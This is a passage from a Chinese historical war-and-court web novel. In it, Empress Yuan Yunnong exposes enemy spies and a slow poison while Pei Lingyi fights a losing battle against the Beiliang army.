“是!”孙统领站了起来。 “孙统领身上的伤可有大碍?”裴令仪问道。 孙统领忙道:“臣伤势并无大碍,多谢陛下关怀。” 裴令仪略一颔首,“立即召集将领,中军帐议事。” 第117章 北州告急 元韫浓是亲眼见证过那颜律这个人是有多那么难缠,又是有多么的残暴。 前世裴令仪就一直战到最后,才将那颜律斩落马下,打服了北凉。 这样才算是险胜,在裴令仪死后很长一段时间,元韫浓才拿下北凉。 这一生她更是直面了那颜律的用兵诡诈和残暴不仁。 她见识了那颜律在人心上动脑筋,威逼利诱,什么都齐齐上阵。 不仅杀了哑奴,如今裴令仪亲自带兵跟那颜律对抗,也讨不了好。 可即使是元韫浓对那颜律的残酷和北凉大军的强悍早有准备,也没想到悬殊至此。 从北州边城的军情传入京华的那一日开始,直至今日,再无什么好消息可言。 今年的冬日似乎格外的寒冷且漫长,冷风刀子似的刮过殿脊上的琉璃鸱吻,呜呜咽咽,像是有人在哭泣似的,叫人不寒而栗。 在外头站久了,甚至呼吸都麻木了,那寒风似乎卷着铁锈与血腥气,直往人的骨头缝里钻。 元韫浓看着一道道被送上来的奏折,没有一个好消息,让人焦头烂额。 她凝视着接二连三的军报,即使是裴令仪已经带着东营军前往北州,能做到的也只是守住最后的襄城,制止北凉继续侵略。 即便是如此,那几回会战之中,虽然没有叫北凉再破襄城,但也还是败。 一败再败。 她看了送上来的军报,那颜律用兵可谓是世间少有之奇才了,率三千轻骑绕后突袭一万裴军粮道。 那颜律命人以牛羊皮蒙住马蹄,夜袭时不闻蹄声,于风向突变之际,纵火焚烧粮草,借风势布下火阵。 烈焰裹着黄沙腾空而起,吞噬了粮草,护送粮草的裴军未战先溃,这批送去支援北州的粮草折损过半。 简直是噩耗。 元韫浓捏了捏眉心,无比头疼,必须再送一批粮草过去。 相比起裴军,北凉人还更适应这样酷寒的时候。 底下的臣子还对此事喋喋不休,吵得没完。 一个接着一个,全都是释放焦虑紧张的信号的,没有一个能说出有用的对策来。 简直是一帮废话连篇的废物。 “报——”殿门在此刻突然哐当一声,被狂风撞开。 裹挟着雪粒子与刺骨的寒气,扑灭了近门处几盏摇曳的宫灯。 一个浑身挂满冰霜的几乎是滚进来的驿卒,铁甲上凝结着暗红的冰渣,每一步都在金砖上留下一个湿冷的血脚印。 他扑倒在地,双手高高捧起一个黄铜匣子,那匣子缝上还凝固着一颗颗赤色的冰珠,在殿内死寂的光线下,闪烁着不祥的妖异。 “北州……八百里加急!”驿卒声音嘶哑破碎,带着濒死般的喘息。 一片死寂。 殿内暖炉烧得极旺,却驱不散那铜匣子带来的渗入骨髓的寒意。 就近的一个文官踉跄着上前几步,抖着手接过那冰冷的铜匣。 入手沉重湿滑,黏腻的触感让他胃里一阵翻腾。 他哆嗦着用指甲抠开匣口冻结的血冰,撬开锁扣。 “哗啦——”一声,羊皮军报粘连着半凝固的暗色血浆滑出,重重砸在光可鉴人的金砖地面上。 看到那军报上的字,这臣子更是面如死灰。 他颤抖着双手捧着军报和底下的奏章,快步冲到了阶下,呈递到元韫浓面前。 小满见那军报和奏章沾满了血,要替元韫浓去接。 元韫浓却先一步接了过来。 映入眼帘的军报和奏章字字句句,看得人眼前一晃。 满面血污和尘灰的驿卒悲声道:“襄城……失守了。” 几个老臣一听到这几个字,就眼前一花,腿一软就要跪下去。 襄城失守,意味着北州就已经全在北凉掌控之中了。 接下来北凉就要往西洲或者靖州打,若是再输下去,大裴迟早全成了北凉的天下。 他们这些人,也马上不是阶下囚,就是黄泉鬼了。 元韫浓却一声不吭,紧握着沾血的军报,一点一点极其细致地看了下来。 然后她再去看那道奏章,字迹仓促,是萧煜所写—— 现敌军气焰嚣张,有长驱直入之势。恳请速发援军,并调拨粮草军械,以固防线。 临表涕零,伏乞懿裁。 臣萧煜谨奏。 裴令仪自上回前往北州前夜寄送的信以外,没有回音。 这次着笔,也是萧煜。 元韫浓深吸一口气,“诱敌深入,聚而歼之。北凉诡诈,那颜律更是当世难得一见之奇才,连襄城都下了。” 她站了起来,“西营军战败,非他们之过。北凉兵强马壮,人马之多。那颜律治军严酷,用兵诡诈。徐氏为内乱撤离北州战线,西营军对北州布防不甚熟悉。此次战败,是我大裴之难。” 元韫浓的话语算是让不少臣子的心稍微安定了下来,找到了主心骨。 “现在既然清都已携北营军至北州,襄城又失,后续应战,当尽全力。”元韫浓说。 她又环视了一周,目光扫过臣子们神情各异的脸,“接下来,都给本宫定下心神,把事情做好。若是叫本宫听到了什么怯战抱怨的话,本宫先斩你们以慰三军!” “是。”臣子们应声。 元韫浓闭了闭眼,道:“裴九,你带东营军,再点粮草前去支援。” 裴令仪离京之前,给裴九的命令是留在京华守城,保护元韫浓。 但是此时,他也听元韫浓的。 边关那里,西营军和北营军加在一起,由裴令仪统帅都敌不过北凉。 可见那颜律这回是下足了狠心,也是拿定了主意要举国之力攻破大裴了。 他们也该不留余力。 只是裴令仪嘱咐过他,最重要的是元韫浓的性命。 裴九仰头看了一眼元韫浓。 元韫浓明白了他的意思,“迎敌在先,京中有禁军及南营军足矣。” “末将谨遵懿旨。”裴九抱拳跪地。 “贼军中有三不赦之令:临阵怯战者斩、伤重难行者斩、见敌不杀者斩。故其兵皆如疯魔,负伤犹能持刀死战。”元韫浓道。 她望向方才那几个有怯战之意的臣子,“本宫这里得再加一个,投敌者,千刀万剐。” 方才萌生退意,想着要劝降的臣子,现在是一点声音都不敢发出来了,闭紧了嘴巴。 元韫浓依然捏着军情和奏章,“还有什么事情要奏?” 没有声音。 于是在宦官高声的“退朝——”之中,这个早朝算是结束了。 * 裴令仪应付起来的确相当吃力,敌众我寡,再加上在天寒地冻之中,是在苦寒之地成长的北凉人天然的优势。 不过北凉人看裴令仪,也是觉得一样的棘手到不行。 他们先前没有花太多的心血就拿下了北州的大半疆土,本以为拿下襄城也会犹如探取囊中之物。 谁能料想裴令仪来了之后,他们僵持之下,损失了那么多才勉强攻下了襄城。 虽然损失惨重,但是如今的整个北州都在他们的控制之下了,也不算很亏。 只是如今看来,裴令仪将会是他们继续攻破大裴最大的阻碍,他们的绊脚石和拦路虎。 所以北凉的将领们也就着如何尽快解决掉裴令仪,在中军帐里商议了好几日。 中军帐内烛火摇曳,映得牛皮地图上的山川城池忽明忽暗。 一名将领猛地将酒壶掼在案几上,盏中残酒泼洒出来了一些,“裴令仪那竖子着实可恨,留着他迟早坏大事!” “是啊,他是我们不小的威胁。他如今年纪尚轻,之前屡次将我们拦在边城之外,即使是这回也险些害得我们空手而回,带他再熟悉我们手段一些,哪里还了得?”立刻有人赞同。 等到了裴令仪完全熟悉了他们的战术,反击起来可不得令他们胆寒? 不断有人附和了起来:“没错,这小子用兵诡谲多变,性子又阴晴不定,再不除去,必然是烧手之患。” “得想个法子杀了他。”将领点头,“他今天险些剁下我的脑袋。” 站在沙盘之前的那颜律却开了口:“不,我们的重中之重不是裴清都。” 他的视线落在了沙盘上的京华城位置,“而是裴的皇后,裴清都的皇后,曾经南的朝荣郡主——元应怜。” 他将一枚木棋放在了京华城,“她会牵动战局的走向。” “元韫浓吗?”将领们惊异道。 有人道:“她只是一个不会武的世家女,被娇惯坏了,凭借着她父兄的功绩,凭借着元氏的站队和底蕴,凭借着一些小聪明和年幼时的善心才得到了这个位置。” “你们看看,这正是她厉害的地方。”那颜律笑了一声。 他张开双臂,“我们这里没有人注意到她,没有觉察到她的作用,可她曾经就在我们眼皮子底下逃走了。” 将领们反应了过来,回想起了之前的事情。 慕南的皇帝出卖了他这个外甥女,暴露了元韫浓的行踪。 所以他们得以跟庄且合作,掳走了元韫浓,来作为人质威胁裴令仪和元彻回交出虎符。 可惜的是,在那么多人的盯梢防守之下,元韫浓还是蛊惑了曾经裴雍的和亲公主和一个俘虏哑奴,跟裴令仪里应外合逃走了,还带走了布防图。 他们本想要拿元韫浓跟裴令仪交换虎符的,没想到那半块虎符一直藏在元韫浓身上。 他们一群人就被元韫浓耍得团团转。 这么想来,这也的确是个不容小觑的角色。 “她迷人,她残忍,她隐藏在裴令仪身后。”那颜律低声道,“操控着裴令仪的人是她。” 仍然有人迟疑:“可裴令仪先前表现得如此的果断,如此的残忍,即便元韫浓也有威胁,也……” 那颜律打断了他:“不,裴令仪只是对旁人残忍,而元韫浓一视同仁,她对任何人都残忍。” 他扯起了嘴角,“这也正是我所说的,元韫浓令人感到威胁的地方。她将会是一个迷人的对手,裴国背后的执棋者之一。” 离那颜律最近的副将有些胆战心惊,他总觉得那颜律自从上回看着元韫浓从眼皮子底下溜走之后,一直耿耿于怀。 现在在那颜律眼里,杀元韫浓甚至优于杀裴令仪。 那颜律道:“元韫浓恰好正是裴令仪的弱点,这个弱点让裴令仪优柔寡断,裹足不前。” “强攻难取,唯有断其羽翼。当今监国坐镇京城的正是元韫浓,王上的意思是,若能……”将领们明白了意思。 “你是说挟持元韫浓?”副将依旧觉得冒险,“她身边有暗卫和孙鹃纨,京华禁军和南营军如今重新部署,滴水不漏。东营军现在已在京华,怎么可能……” 前面开口和将领却抚掌大笑:“你还不知道呢?元韫浓派东营军来支援了!” “即便是不用突袭,也有法子。”那颜律嘴角勾起一抹阴鸷的笑。 “还得是王上。”将领大笑,“至于裴令仪,只要拿捏住美人儿,还怕他不乖乖自缚?” 副将还是有些担心,“裴清都至少是能称孤道寡之人,真的会因为一个女人乱了心吗?” “那可不一般啊,他们不是很小就认识了吗?不是说还是元韫浓救了裴令仪,裴令仪有今日离不开她啊。青梅竹马,白月光,朱砂痣,能不乱心吗?”将领大肆嘲笑,“真是软弱至极!” 那颜律的目光扫过帐中众人,“元韫浓对于裴令仪来说不仅是爱人,也是盟友,是桃源乡。” 他隐约觉察到裴令仪和元韫浓还有什么更深的牵绊所联系着,尽管不知道那是什么,但是知道元韫浓对于裴令仪而言足够重要,那就够了。 那颜律抓起案上匕首,狠狠扎进沙盘上的京华城,“明日,派死士扮作商队,混进京华西市!” 那一枚木棋四分五裂,碎成了渣。 他望着匕首周围龟裂的纹路,“他们南人不一直说我们北人是化外之民吗?也该让他们瞧一瞧,什么叫真正的野蛮了。” 而埋在京华中的暗线,也是时候该动用他们了。 养兵千日,用兵一时。 他偏不信元韫浓的运气真就这般的好,三番五次,都能化险为夷。 第118章 慢毒 元韫浓觉察到了京华的异动与不安。 她在这方面总是敏锐得可怕。 她斜倚在雕花榻上,指尖漫不经心地摩挲着羊脂玉扳指。 冰凉的触感让她想起几日前驿卒呈上的那封血书。 字迹在血水浸泡下晕染模糊,却依然能辨清“襄城失守“的惊心内容。 这几天,孙鹃纨抓了不少刺客,但都没撬开那些刺客的嘴巴。 有些人被抓了,有些人却逃了。 “殿下,西市有异动,抓到了几个行踪鬼祟之人。”小满禀报,“一抓到就立即服毒自尽了,训练有素。” 小满隐约听见,在垂落的珠帘后,传来环佩相撞的声响。 霜降撩开了珠帘,小满见元韫浓正在榻上,拨弄着珠环,理了理鬓边的赤金九凤衔珠钗,有些漫不经心。 “西市抓到的那几个,是跟前几日的那些刺客里其中几拨同一批。”小满道。 元韫浓手上动作顿住,“这么说……是有两拨人了。” 这就有意思了,那么据她所测,除了有一伙是北凉的人,还有一伙人想要治她于死地。 是谁? 孙鹃纨随后入殿,递上一封密函,脸色不大好看,“裴氏宗族那群人,居然还不安分。他们旁系,不知道从哪找了个二十来岁的乞丐回来,说是曾经老清河王的在外私生子,现在要来认祖归宗了。” “认祖归宗?”元韫浓轻嗤一声,“他们是盼着让清都死在沙场上,拥护一个野种上位做傀儡呢。” 孙鹃纨冷哼:“那乞丐是不是正经血脉都不知道,老清河王死无对证,谁知道他是不是有个私生子。” “看来我们这里,是已经陷入水深火热之地了啊。”元韫浓唇角勾起一抹冷笑。 她看着手上这一枚从清河王府里搜刮出来的扳指,心情不虞。 元韫浓随手将扳指抛进案头的香炉里。 火苗骤然窜起,瞬间将扳指缝隙间藏匿的北凉雪参气息混杂着冷香屑焚散。 元韫浓微微一怔,孙鹃纨和小满立刻反应过来。 小满立即揽着元韫浓往后连退几步。 孙鹃纨一脚踹翻了香炉,“开窗通风!” 殿内的女使立即推开窗,里里外外都打了扇子扇风。 “殿下!”身后传来霜降的惊呼。 孙鹃纨一回头,看见元韫浓拿帕子捂住嘴,帕子上渗透了血色。 “传太医!”孙鹃纨惊怒道。 皇后病重吐血的消息如惊雷般炸开,得到消息的人都陷入了混乱。 闻声而来的臣子们在殿外看着太医们进进出出,心思各异,疑心消息真假。 见岐王府的人都进了凤仪宫,心下信了不少。 殿内,元云和坐在床榻边,正喂元韫浓喝药。 元彻回脸色难看,“到底是谁?” “索性发现得早,冷香屑虽香味清冷,但用久了会使人经络麻木,腐蚀骨髓。长期以往,必死无疑。”元蕴英松了口气,暗自庆幸,“还好……还好发现得早……” 孙鹃纨道:“冷香屑是北凉那边的做法,估计是北凉人。” “跟西市那里是一伙人,我们身边也有内鬼,到时候查查是哪个臣子。”慕水妃望向元韫浓,面有忧色,“实在是委屈了韫浓。” 慕湖舟蹙眉,“哪怕是发现得早,也是伤身的。” 元韫浓本就体弱。 郑女幼在外头交代了太医事宜之后,便穿过花鸟屏风走过来,“这除了冷香屑还有北凉雪参,这雪参不是你喝惯了的药里头的吗?” 元韫浓却平静道:“北凉雪参,在北凉也叫追踪香。能把手插到凤仪宫里,怕是我身边也有人被收买了。凤仪宫的女使里,霜降你来查。” 岐王道:“偏偏在这个时候,他们估计是想我们大裴后方也乱了阵脚。” “那裴氏宗族那边……另一拨刺客估计是他们的手笔。”孙鹃纨看向元韫浓。 元韫浓道:“暂且不管,等他们自己闹到我面前,还有别的用处。” 沈川点头,“现在确实要紧的是北凉人。” “我既放出病重的消息,也是为了引蛇出洞。”元韫浓道,“无论是想杀我还是抓我,总会现身的。” 其实她觉得,冷香屑和北凉雪参并非是北凉人下手。 因为太明显了,一看就是北凉人做的。 对于那颜律来说,抓她做人质威胁裴令仪,比直接杀了她激怒裴令仪好多了。 想杀她的恐怕是另有其人吧。 她就觉得,是裴氏宗族那些人想杀了她嫁祸北凉,好推那个私生子上皇位呢。 只是赶巧,两拨人还都撞在了一起。 “还请父兄姐姐们,替我盯着城中异动。那些人,怕是今夜就等不及了。”元韫浓说道。 元云和往她嘴里塞了一颗蜜饯,“你就放心吧,我们都知道。” 正如元韫浓所说的那样,对于战场之上,光阴如金,分秒必争。 他们必须得在元韫浓死前,失去价值之前,先把人带走。 慕水妃留下来陪元韫浓,正坐在元韫浓榻边绣花。 霜降进来,“殿下,大理寺卿夫人求见。” 元韫浓闻言,微微挑眉,“大理寺卿……让她进来吧。” 大理寺卿的夫人眉眼倒是比寻常京华之人深邃一些,元韫浓看着福身行礼时刻意遮挡的袖口。 她想那里应该有一道刀伤,是跟逃掉的那几个刺客中其中一个正相符。 “大理寺卿夫人,怎么在宫禁之前来?”慕水妃放下了手里的绣棚,平和地问道。 大理寺卿夫人的视线越过慕水妃,短暂地落在了她身后闭着眼面色苍白的元韫浓身上,揣测着元韫浓病重消息的真假。 “妾与夫君忧心娘娘身体康健,夫君特遣妾来侍奉娘娘汤药。”大理寺卿夫人谨慎道。 慕水妃扶着元韫浓坐了起来,“侍奉皇后汤药之事,还犯不着叫大理寺卿夫人来。” “水妃姐姐,口渴。”元韫浓轻声道。 慕水妃去给她倒了一杯茶来。 “夫人这是怎么了?”元韫浓端起青瓷茶盏,茶汤映出大理寺卿夫人躲闪的眼神,“我听闻,令郎近日在西市与人起了争执?” 大理寺卿夫人的脸色瞬间变白了,“娘娘明鉴,犬子只是……” 只是因为他们夫妻俩都去了西市,跟北凉人互通有无,而他们那个蠢儿子自作聪明地替他们打掩护,跟人故意起了争执。 没想到弄巧成拙,引起了孙鹃纨的注意。 “本宫不过随口一问。”元韫浓抿了一口茶,将茶杯递回给慕水妃,“夫人紧张什么?” 她似笑非笑,“倒是夫人,可有觉得这京城的雨,近来为何总带着一股血腥气呢?” 话音刚落,殿外突然传来急促的脚步声。 “报!西市发现北凉细作!”殿门打开,孙鹃纨的铠甲上还滴着血水。 元韫浓扫过大理寺卿夫人的脸,缓慢地站了起来,“沈川升职那么快,跟你们这群人脱不了干系。从前有个大理寺少卿,叫他从寺丞成了少卿,如今你的夫君,倒是能叫他成了大理寺卿了。” “封锁九门,三品以上官员府邸即刻搜查!”元韫浓冷声道。 孙鹃纨低头,“是。” 小满一脚踹在了大理寺卿夫人的膝弯上,将人摁在了地上。 无视大理寺卿夫人的叫骂声,元韫浓偏了一下头打量大理寺卿夫人的面孔,“这张北凉的面孔,倒是在京华蛰伏了那么久没叫人发现。是年数久了,也有些像京华之人了吗?” “可惜了,那颜律舍得叫你这样沉浮那么久的棋子来抓本宫,还是没抓到啊。”元韫浓轻笑一声。 还没等大理寺卿夫人骂出声,小满就撕扯下她的一角衣裳团成团塞进了她的嘴里。 “放心,你的夫君,你的独子,以及你无论在大裴还是在南朝的家人,本宫都会挨个送下来找你。黄泉路上,你不会孤单的。”元韫浓笑了笑。 大理寺卿夫人眼睛瞪得惊骇无比,小满将人丢给了禁军,禁军把人给带了下去。 元韫浓在凤仪宫中静候,不过多时,元彻回就拎着大理寺卿,同沈川一道进了凤仪宫。 大理寺卿被当成一块破抹布般随手丢在地上。 元彻回手持长剑逼近面色惨白的大理寺卿,“你勾结北凉,想着暗害皇后时,就该想到今日。” 他的剑锋挑起大理寺卿的下巴,“知道为什么让你活到现在吗?” “因为皇后需要我引出所有叛徒啊!哈哈哈哈!”大理寺卿突然大笑起来,鲜血从嘴角溢出,“你以为这样就结束了?即使没有你,裴国也赢不了!北州都已经全没了!你们还拿什么赢?” “你既然已投靠北凉,想来与你的北凉细作妻子关系和睦。那本宫成全你,叫你夫妻团圆。”元韫浓平静道。 “你!”大理寺卿瞪圆了眼睛,太阳穴突突跳动,青筋顺着脖颈暴起如蚯蚓扭曲,“元应怜,你是真的一点都不怕报应!” “报应?”元韫浓轻嗤一声。 她居高临下地看着大理寺卿,“也别走得太急了,本宫一会就叫人把你儿子也送下来,好叫你阖家团圆。” “元韫浓!”大理寺卿双眼通红,死死盯着眼前人,咆哮道,“即使你杀了我们又能如何?裴令仪也不会好过的!他也很快就要下来陪我们!北凉很快就能取下他项上人头!什么裴国?迟早被铁蹄踏破!” “住口!”元彻回一剑刺穿他的喉咙,看着尸体缓缓倒下。 慕水妃慌忙抱着元韫浓,捂着她的双眼。 “水妃姐姐,我见过了,也见多了。”元韫浓拉下慕水妃的手。 “殿下,那几个通敌的臣子已被拿下,但拒不认罪!”孙鹃纨行色匆匆地进来禀报。 元韫浓道:“将他们关进天牢,每隔一个时辰好好招待他们,招了给他们一个痛快。不招,就死在里头吧。” 孙鹃纨领命退下。 雨幕中的京华依然暗流涌动。 元蕴英带着南营军照着通敌的名单挨个上门去清剿。 裴氏宗族的人听着外边的喊打喊杀声,从窗洞望出去,就看到刀枪在雨色中泛着森冷的光。 “裴大人,虎符到手了吗?“耶律斜一脚踢翻灵前的香炉,香灰飞扬间,他突然嗅到一丝异样的甜腥。 震天的喊杀声里头,几座官员府邸被团团包围了起来。 裴氏族老冷笑,烛火将他脸上的表情照得狰狞可怖,“元韫浓以为设下这等局,就能引蛇出洞了?我们可不是北凉那群蠢货。” 他将密函凑近烛火,看着“皇后病重”的字迹在火焰中扭曲变形,“螳螂捕蝉,黄雀在后。我瞧着他们一心一意扑在北凉身上,没发觉我们动作。” “那玉扳指里头的北凉雪参和冷香屑,果然没叫元韫浓怀疑我们。”裴七叔点头。 “只是如今这慢毒被找了出来,我们……”有人犹豫。 “不妨事。”裴七叔道,“如今我看那裴令仪也撑不了多久了,得那颜律杀了裴令仪,元韫浓还有什么由头占着我们裴氏的江山?” 那人顿时松了气,“也是,她一介女流,又是姓元的,有什么理由占着皇位?也就裴令仪那疯子会跟她帝后同治。” “原本想着北凉的人今晚就会动手。等北凉细作掳走皇后,裴令仪在前线必乱。没想到北凉人那么不中用。”族老不屑。 裴七叔看向一旁,“好在我们找回了老清河王的血脉,不管如何,都有了后路。” 族老捻须点头,“是啊,无论她元应怜死不死,走不走,届时我们推裴旁上位即可。” 一旁的暗处也传来沙哑的笑声:“几位宗老如此救我助我,待我来日登上大宝殿,必然不忘几位倾囊相助之恩。” 几人状似谦虚地摆手,“言重了,你既本就是老清河王之血脉,这裴家江山,理应有你一份。兄死弟及,若裴令仪身死,他又无后嗣,本就该是你登基。” 状似达成了共识,几人不禁都露出来了满意的笑容,从窗前离开。 “既如此,我等便先好好喝上一杯,以庆祝来日吧。” “好好好,来来来,满饮此杯。” “我等便先恭贺新帝了?哈哈哈哈哈!” 第119章 甘心当狗? 京华的安稳暂且稳下来了,元彻回就得带着大半的南营军前去西洲驰援裴令仪。 毕竟前线险之又险,不能再退,不能再败。 若不是怕北凉诡诈,绕后突袭,所有的南营都得派过去。 朝堂之上,元蕴英主动请缨,元韫浓沉默片刻之后,却道:“阿兄,你去吧。” 于是元彻回将禁军转交给元蕴英,职务尤其暂代,自己领着大半的南营军准备离京。 因为元彻回告诉她,告诉她的那些梦,让她觉得,或许她的兄长能起到什么不一样的作用。 哪怕无能为力,也或许会因为梦境之中不同的可能而更加警觉谨慎,预测到什么。 她依然期待那一瞬微乎其微的可能和命运的转折,期待结果是好的。 “阿兄此去,也需顾惜自身。”元韫浓轻声道。 她攥住兄长的披风,指尖陷进披风上纹路里。 “清都在前往北州之后,就断了音讯。我寄出去的信,他一封都没有回。奏章、密函、急报、回信,回我的都是萧煜。”她声音清冷,腕间玉镯磕在元彻回的铠甲上发出清响。 “当初跟着清都前去北州的那几个元氏子弟,死伤过半。剩下的回报说,城墙结满了冰,北凉用俘虏当人肉盾牌撞开城门。”元韫浓抬眸看向元彻回。 元彻回默然,他其实收到了裴令仪的来信。 裴令仪只是不敢给元韫浓回信而已,因为裴令仪自己都不确定此战能否胜,自己能否活。 裴令仪怕自己身死,徒留念想,惹元韫浓伤怀。 “许是因为战事繁忙。”元彻回艰涩道。 元彻回望着宫墙上的残雪,几日前那封染血密诏在袖中灼得发烫。 疾笔写就的“速援”二字之下,便是字字句句,全是托付。 “孤若身死,即刻南迁。” “阿姊性命为重。” “其余一切,包括孤在内,皆可以舍。” 元彻回知道元韫浓不会信他拙劣的谎话,但他没法对元韫浓说实话。 “我定将五郎平安带回来。”元彻回道。 他摸了摸妹妹的眼尾,“但你需答应我,应怜,若狼烟三月内未熄,你就得着手准备南迁。” “什么?”元韫浓皱眉,“南迁!” 元彻回摁住了她的肩膀,“五郎会死战,我们会死战,元氏会死战,但是你不可以!” “阿兄的意思,是叫我怯战退避,避而不战吗?”元韫浓问道。 元彻回同样眉头紧皱,“留得青山在,不愁没柴烧。” 元韫浓问出了她之前从不会问的话:“那为什么是我?” 元彻回立即回道:“因为你是我妹妹!你是他的皇后!你是最特殊的那个!” 元韫浓一时失言。 最特殊? 因为她是元彻回唯一并非一母同胞的妹妹,因为她是和裴令仪两世交叠的人,因为她很特殊。 所以他们所有人都推着她活下去,然后坦坦荡荡将自己的生死置之度外。 “所以你就没想过自己活不活得了?”元韫浓平静了下来。 元彻回哑然,他抽身又退了一步,“应怜,你得活着。” “若西洲再失守,便立即南迁。”元彻回将元氏的剩下那半块虎符重重按进她的掌心里。 虎符硌得元韫浓掌心生疼。 元氏虎符一分为二,当初岐王将一半给了元韫浓,另一半给了元蕴英。 元蕴英这一半应该是为了元彻回出征驰援能够有保障,先交给了元彻回。 可偏偏元彻回连这点保障也不要了,把这都留给了元韫浓。 北风卷着战鼓呜咽,元彻回翻身上马。 “阿兄!”元韫浓又急急喊道。 元彻回停了下来。 “若见清都,替我将这条项链交给他。”元韫浓解下脖颈上的圆月白玉项链,塞进他怀中。 她仰起脸,“也替我告诉他,我等他将此玉归还之日,也等团圆之日。” 元彻回接过了项链,小心揣进了怀里。 元韫浓盯着他的眼睛道:“阿兄,这话也是对你说的,我等你回来,我们全家团圆之日。” 元彻回生硬地点了一下头。 战马嘶鸣踏碎积雪,元韫浓看着元彻回的背影消失在风雪中。 元韫浓望着手中半块虎符,在裴令仪出征前几日也是这样。 裴令仪没有什么征兆,但也是这样将东营军的虎符轻轻放在她膝头,掌心温度透过虎符纹路渗入骨髓。 裴令仪说担心东营军不服管教,裴九压不住,但元韫浓最后还是把虎符塞回了裴令仪的手心里。 元韫浓望向远山,远山冰冷,难懂悲欢。 霜降在元韫浓身后忧心地劝道:“殿下,外头冰天雪地的,我们快些回去吧。” 元韫浓本就身体不好,近日以来忧心国事,操心前线,茶饭不思。 又被那些小人下了慢性毒药,哪怕是发现得早,那到底也是毒药,对身子也是有亏损的。 如今还这样站在雪地里,怎么受得了呢? “没事。”元韫浓闭了闭眼,“我们回宫吧。” 她被霜降搀扶着上了马车,马车驶向凤仪宫。 等到元韫浓下车时,已是正午。 此刻宫墙上火把渐次熄灭,唯有漫天飞雪。 元韫浓默然无声,聆听落雪无声。 但愿她后方的周旋,也能为前线争取片点喘息。 同那颜律想的自然也不尽相同。 他也没想到元韫浓当真是如此命好,真躲过了这么一劫,还把埋了这么多年的暗线扯了出来。 尽管心中暗自恼恨,但是对阵在即,面对裴令仪,他也只能装出一副事情已经得逞的模样,以此来混淆视听。 指不定裴令仪关心则乱,真信了呢? 至关重要的这一战,看他能否在夺得北州之后,还能在裴令仪手底下拿下西洲的城土。 只要能下西洲任何一城,就意味着打开了关峡,大裴之上的任何一片土地他都可以谋取。 南营军离京的消息已经传到了他的手里,那颜律得尽快在南营军赶到之前拿下这一城。 所以他出动了几乎全部的兵力。 这一战对于裴令仪而言也很重要,北州已失,他必须守下西洲。 两军相对,蓄势待发。 “裴令仪,我奉劝你尽早投降的为好,还是说,你更想看见你阿姊碎成千块万块的尸首?”那颜律冷嘲道。 “你什么意思?”裴令仪抬眸看向他。 “你还不知道呢?”那颜律笑了一声,“前几日你真当我是闲着没事做,等着你们东营军来支援你呢?” 他道:“东营军来了这里,京华里头埋了那么久的暗线就可以动了,我让他们做了什么,也不难猜吧?” 裴令仪面无表情,“你的意思是,你现在抓了阿姊来威胁我?” 那颜律摊开手,“显而易见。” 裴令仪冷笑:“那你推出来,杀给我看吧。” “裴令仪,我还真是低看你了,你跟元韫浓那女人一样的心狠,一样的薄凉。”那颜律半眯起眼睛。 “你若是真抓了阿姊,早推出来当面威胁我了,至于等到这会?阿姊若是真那么容易被你抓来,那京城里留的那群人,还都成了废物了。”裴令仪嗤笑。 那颜律冷哼一声:“看来你也没多爱她。” “随你怎么想。”裴令仪冷声道。 元韫浓对他而言绝不仅是所爱之人那么简单,更是共鸣的镜子。 他们彼此最懂对方的存在,知晓对方最隐秘的恐惧、野心与脆弱,如同照见自身的镜子。 因果轮回的同盟,并肩同行的青梅竹马,权力博弈的共谋者,互为倚仗,共筑稳固的版图。 元韫浓是他仰头望去,永远皎洁却清冷的明月。 “裴清都,你分明做了皇帝,居然还受人摆布?傀儡当得高兴吗?”那颜律完全无法理解裴令仪为什么能纵容那么多人来共享权力。 他出声嘲讽:“你是当狗当习惯了?当上瘾了?” 大裴的将士都露出了屈辱的神情。 裴令仪却不以为然。 “你就真这么甘心做元韫浓的一条狗。”那颜律盯着裴令仪的眼睛问。 “汪。”裴令仪勾起唇角,“这样你满意了吗?” 那颜律眼中的不可置信和无法理解更是一点遮掩都没有了。 裴令仪真是疯了。 他更不可思议的是,裴令仪居然对元韫浓一丝猜忌和不虞都没有。 跟裴令仪无话可说,那颜律抬手喝道:“杀!” 战鼓如雷,撕裂天际。 雪雾蔽日下,铁甲寒光与刀光剑影交织,喊杀声震得人耳膜生疼。 裴军以长枪结阵,如钢铁城墙般缓缓推进。 北凉则是骑兵突袭,马蹄踏起滚滚雪浪。 不断有人惨叫着倒下,鲜血染红了脚下的土地。 这一方土地上更是尸横遍野,血流成河,这场厮杀仿佛永无止境,唯有一方彻底溃败,方能停止。 “他们兵力起码是我们三倍之多,是北凉所有人都来打了吗?他们就没人在后方采桑织布,种田挑水吗?”裴九简直无法理解。 萧煜冷声道:“北凉本就只会烧杀抢掠,不会自给自足。他们那些人活下来,全靠着压榨附属国和抢掠北州边境。” “沙场之上,注意刀枪!”裴令仪冷喝道。 萧煜和裴九两人定了神,投入战局之中。 漫天风沙裹着雪霰,抽打在千疮百孔的裴军战旗上,发出呜咽般的声响。 冻得发青的尸首僵硬地堆叠在关隘残破的城墙下,凝固的血液与泥泞冻在一起,形成暗红色的冰坨。 寒风卷着碎雪掠过焦土,裴令仪的剑深深楔入冻土。 他几乎快要力竭。 裴令仪玄色的战袍也被刀锋撕裂,沾满血污和冰碴。 他背靠着快要断折的旗杆,朔风如刀,刮过他苍白瘦削的脸颊,唇边呼出的白气瞬间凝成冰霜。 裴令仪再次回首望向京城的方向,眼神疲惫而深重,像是要将这万里关山望穿。 不能退,要是再退,很快就到京华了。 阿姊在那里。 他抹去嘴角血渍,看着那颜律的银甲在火光中忽明忽暗,手中剑刃仍在震颤。 北风卷着血沫掠过断刀残戟,敌将挥刀劈开他左肩甲胄,滚烫的血珠溅在雪地上。 裴令仪挥剑反将敌将斩落马下。 他抹去脸上血水,望着漫山遍野如蚁群般涌来的北凉骑兵,指节在冰凉的剑柄上攥出青白。 “主上!左翼失守!”萧煜浑身浴血,半跪时铠甲缝隙渗出汩汩暗红。 裴令仪正要下令,忽然听见后方传来尖锐的破空声。 他本能地侧身躲开,却依旧被几只漏网之鱼的流矢射中。 他是北凉人眼中最首要的目标,众矢之的。 “护送主上突围!”萧煜的嘶吼声被吞没。 北凉的投石机不断地砸来火石,滚烫的火油倾泻而下,将雪地染成一片火海。 裴军如被收割的麦秆般成片倒下。 “后撤!”裴令仪吼道,“找掩体!” 话音刚落,他回首看见裴九瞳孔骤缩,“主上!” 裴令仪猛然间意识到了什么。 火焰炽热的温度急速逼近,他看到前边坠落的火石,而面前是迎面刺来的长枪。 